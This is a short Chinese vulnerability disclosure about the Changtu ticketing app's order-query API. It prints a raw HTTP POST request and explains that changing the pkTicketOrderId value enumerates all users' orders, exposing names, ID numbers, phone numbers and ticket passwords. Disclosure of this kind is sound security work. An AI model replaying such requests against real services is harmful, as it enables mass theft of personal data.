畅途网任意用户订单遍历（大量敏感信息） - 网

问题出在畅途的app端，手机手机登陆之后，发现查询请求几乎没有任何验证呀，仅有的参数[pkTicketOrderId和userId]之间也没有相互校验，进行查询数据包如下；

POST http://ios.update.trip8080.com/iphone/v0600/orderQuery.htm HTTP/1.1 Host: ios.update.trip8080.com Connection: close Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 37 Connection: close User-Agent: 畅途汽车票 2.3.4 (iPhone; iPhone OS 7.0.4; zh_CN) pkTicketOrderId=496849&userId=1707376

 

 

 

这里的userId参数在请求里必须有，但是具体值不影响结果，通过修改pkTicketOrderId参数即可遍历所有用户的订单，订单里[姓名、身份证号码、手机号码，取票密码等]信息一览无余；

 

 

修复方案：

加入各种校验

查看更多关于畅途网任意用户订单遍历（大量敏感信息） - 网的详细内容...